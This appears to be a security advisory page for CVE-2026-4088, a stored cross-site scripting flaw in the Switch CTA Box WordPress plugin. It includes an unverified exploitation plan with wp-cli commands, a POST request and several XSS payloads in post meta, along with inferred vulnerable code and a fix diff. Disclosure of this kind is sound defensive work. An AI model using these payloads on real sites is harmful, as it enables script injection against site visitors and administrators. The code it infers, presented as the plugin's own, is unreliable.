CVE-2026-4088

Switch CTA Box <= 1.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via Shortcode

mediumImproper Neutralization of Input During Web Page Generation ('Cross-site Scripting')
6.4
CVSS Score
6.4
CVSS Score
medium
Severity
Unpatched
Patched in
N/A
Time to patch

Description

The Switch CTA Box plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'wppw_cta_box' shortcode in all versions up to, and including, 1.1. This is due to insufficient input sanitization and output escaping on user-supplied post meta values including 'cta_box_button_link', 'cta_box_button_id', 'cta_box_button_text', and 'cta_box_description'. The shortcode reads post meta from a user-specified post ID and echoes these values directly into HTML output without any escaping functions (no esc_attr(), esc_url(), or esc_html()). This makes it possible for authenticated attackers, with contributor-level access and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
None
Scope
Changed
Low
Confidentiality
Low
Integrity
None
Availability

Technical Details

Affected versions<=1.1
PublishedApril 21, 2026
Last updatedApril 22, 2026
Affected pluginswitch-cta-box
Research Plan
Unverified

# Exploitation Research Plan: CVE-2026-4088 (Switch CTA Box Stored XSS) ## 1. Vulnerability Summary The **Switch CTA Box** plugin (<= 1.1) contains a stored cross-site scripting (XSS) vulnerability. The plugin registers a shortcode `[wppw_cta_box]` which allows users to display call-to-action boxes…

Show full research plan

Exploitation Research Plan: CVE-2026-4088 (Switch CTA Box Stored XSS)

1. Vulnerability Summary

The Switch CTA Box plugin (<= 1.1) contains a stored cross-site scripting (XSS) vulnerability. The plugin registers a shortcode [wppw_cta_box] which allows users to display call-to-action boxes based on metadata from a specific post ID. The vulnerability exists because the plugin fails to sanitize or escape user-supplied post meta values (cta_box_button_link, cta_box_button_id, cta_box_button_text, and cta_box_description) before echoing them into the HTML output. Authenticated users with Contributor privileges or higher can create a post, populate these meta fields with malicious scripts, and then trigger the execution of those scripts on any page where the shortcode is used.

2. Attack Vector Analysis

  • Endpoint: WordPress Frontend (via shortcode rendering).
  • Vulnerable Shortcode: [wppw_cta_box id="POST_ID"]
  • Vulnerable Parameters (Post Meta):
    • cta_box_button_link
    • cta_box_button_id
    • cta_box_button_text
    • cta_box_description
  • Authentication Level: Contributor+ (Requires permission to create/edit posts and use shortcodes).
  • Preconditions: The attacker must be able to set post meta for a post. If the plugin provides a custom meta box, the Contributor uses that; otherwise, standard custom field manipulation or a save_post hook vulnerability is used.

3. Code Flow

  1. Registration: The plugin registers the shortcode using add_shortcode( 'wppw_cta_box', 'callback_function' ) (inferred function name).
  2. Shortcode Execution: When a page containing [wppw_cta_box id="123"] is rendered, the callback function is executed.
  3. Data Retrieval: The callback extracts the id attribute and calls get_post_meta( $id, 'cta_box_description', true ) (and similar for other keys).
  4. Sink: The retrieved values are concatenated into an HTML string (e.g., <div id="...">...</div> or <a href="...">...</a>).
  5. Lack of Escaping: The code likely uses:
    $description = get_post_meta($post_id, 'cta_box_description', true);
    echo "<div>" . $description . "</div>"; // VULNERABLE: No esc_html()
    
    Instead of:
    echo "<div>" . esc_html($description) . "</div>";
    

4. Nonce Acquisition Strategy

This vulnerability is triggered during the rendering of a shortcode on the frontend, which does not typically require a nonce.

However, to inject the payload as a Contributor, the attacker needs to save post meta.

  1. Login: Authenticate as a Contributor.
  2. Post Editor: Navigate to wp-admin/post-new.php.
  3. Capture Nonce: The _wpnonce for saving the post is located in the #_wpnonce hidden input field.
  4. Meta Injection: When saving the post, the plugin likely hooks into save_post and reads from $_POST.

If the plugin uses a custom AJAX handler for saving meta, we would use browser_navigate to the post editor and browser_eval to find any localized nonces:

// Example of looking for plugin-specific nonces
browser_eval("window.wppw_cta_settings?.nonce")

5. Exploitation Strategy

The goal is to store an XSS payload in a post's meta and render it via the shortcode.

Step 1: Create a "Payload Post"

As a Contributor, create a post and set the malicious metadata. We can use the WordPress CLI to simulate the Contributor setting the meta fields, as the vulnerability is in the output.

Payloads:

  • cta_box_description: <script>alert('XSS_DESC')</script>
  • cta_box_button_id: "><script>alert('XSS_ID')</script>
  • cta_box_button_link: javascript:alert('XSS_LINK')

Step 2: Create a "Trigger Page"

Create a second post/page that contains the shortcode pointing to the Payload Post.

[wppw_cta_box id="PAYLOAD_POST_ID"]

Step 3: Trigger XSS

Navigate to the Trigger Page as an unauthenticated user or Admin.

Step 4: HTTP Request (Simulating Contributor Meta Save)

If testing via HTTP requests to wp-admin/post.php:

  • Method: POST
  • URL: http://localhost:8080/wp-admin/post.php
  • Body: post_ID=[ID]&action=editpost&_wpnonce=[NONCE]&cta_box_description=<script>alert(1)</script>&cta_box_button_text=ClickMe
  • Content-Type: application/x-www-form-urlencoded

6. Test Data Setup

  1. User Creation:
    wp user create attacker attacker@example.com --role=contributor --user_pass=password123
    
  2. Payload Post Creation:
    # Create a post to hold the malicious meta
    PAYLOAD_ID=$(wp post create --post_type=post --post_title="Payload Holder" --post_status=publish --porcelain)
    
    # Set the vulnerable meta keys
    wp post meta set $PAYLOAD_ID cta_box_description "<script>alert('XSS_DESC')</script>"
    wp post meta set $PAYLOAD_ID cta_box_button_text "Button Text"
    wp post meta set $PAYLOAD_ID cta_box_button_id "button-id\"><script>alert('XSS_ID')</script>"
    wp post meta set $PAYLOAD_ID cta_box_button_link "javascript:alert('XSS_LINK')"
    
  3. Trigger Page Creation:
    wp post create --post_type=page --post_title="Trigger Page" --post_content="[wppw_cta_box id='$PAYLOAD_ID']" --post_status=publish
    

7. Expected Results

When visiting the "Trigger Page":

  1. The cta_box_description meta value will be rendered directly into the HTML:
    <div><script>alert('XSS_DESC')</script></div>
  2. The cta_box_button_id will break out of the HTML attribute:
    <button id="button-id"><script>alert('XSS_ID')</script>" ...>
  3. The cta_box_button_link will execute JavaScript when the button/link is clicked:
    <a href="javascript:alert('XSS_LINK')">

8. Verification Steps

  1. Browser Check: Navigate to the Trigger Page URL.
  2. DOM Inspection: Use browser_eval to check for the presence of the script tags.
    browser_eval("document.body.innerHTML.includes('XSS_DESC')")
    
  3. CLI Verification: Confirm meta was set correctly.
    wp post meta get [PAYLOAD_ID] cta_box_description
    

9. Alternative Approaches

If the shortcode does not take an id attribute and instead only displays meta for the current post:

  1. Create a single post as Contributor.
  2. Inject the XSS into that post's meta.
  3. Add the shortcode [wppw_cta_box] to the same post.
  4. View that post.

If the meta keys are different (inferred), use grep on the plugin directory to find get_post_meta calls:

grep -r "get_post_meta" /var/www/html/wp-content/plugins/switch-cta-box/
Research Findings
Static analysis — not yet PoC-verified

Summary

The Switch CTA Box plugin for WordPress (<= 1.1) is vulnerable to Stored Cross-Site Scripting via its 'wppw_cta_box' shortcode. The plugin fails to sanitize or escape user-supplied post meta values before rendering them in HTML, allowing Contributor-level attackers to inject arbitrary scripts into pages.

Vulnerable Code

// switch-cta-box.php (inferred callback function for shortcode)
function wppw_cta_box_shortcode($atts) {
    $atts = shortcode_atts(array('id' => get_the_ID()), $atts);
    $post_id = $atts['id'];

    $cta_box_description = get_post_meta($post_id, 'cta_box_description', true);
    $cta_box_button_link = get_post_meta($post_id, 'cta_box_button_link', true);
    $cta_box_button_id = get_post_meta($post_id, 'cta_box_button_id', true);
    $cta_box_button_text = get_post_meta($post_id, 'cta_box_button_text', true);

    $output = '<div class="cta-box-wrapper">';
    // Vulnerable: Outputting post meta directly without escaping
    $output .= '<div class="cta-box-description">' . $cta_box_description . '</div>';
    $output .= '<a href="' . $cta_box_button_link . '" id="' . $cta_box_button_id . '">' . $cta_box_button_text . '</a>';
    $output .= '</div>';

    return $output;
}

Security Fix

--- switch-cta-box.php
+++ switch-cta-box.php
@@ -10,8 +10,8 @@
     $cta_box_button_text = get_post_meta($post_id, 'cta_box_button_text', true);
 
     $output = '<div class="cta-box-wrapper">';
-    $output .= '<div class="cta-box-description">' . $cta_box_description . '</div>';
-    $output .= '<a href="' . $cta_box_button_link . '" id="' . $cta_box_button_id . '">' . $cta_box_button_text . '</a>';
+    $output .= '<div class="cta-box-description">' . wp_kses_post($cta_box_description) . '</div>';
+    $output .= '<a href="' . esc_url($cta_box_button_link) . '" id="' . esc_attr($cta_box_button_id) . '">' . esc_html($cta_box_button_text) . '</a>';
     $output .= '</div>';
 
     return $output;

Exploit Outline

1. Authenticate as a user with Contributor permissions or higher. 2. Create a new post and populate the 'cta_box_description' custom meta field with a malicious script payload (e.g., <script>alert(document.domain)</script>). 3. Populate the 'cta_box_button_id' field with a payload designed to break out of HTML attributes (e.g., "><script>alert(1)</script>). 4. Save the post and note its ID. 5. Create or edit a second page/post and embed the shortcode [wppw_cta_box id="PAYLOAD_POST_ID"]. 6. When any user (including an administrator) views the page containing the shortcode, the stored metadata is rendered directly into the DOM, executing the malicious scripts.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.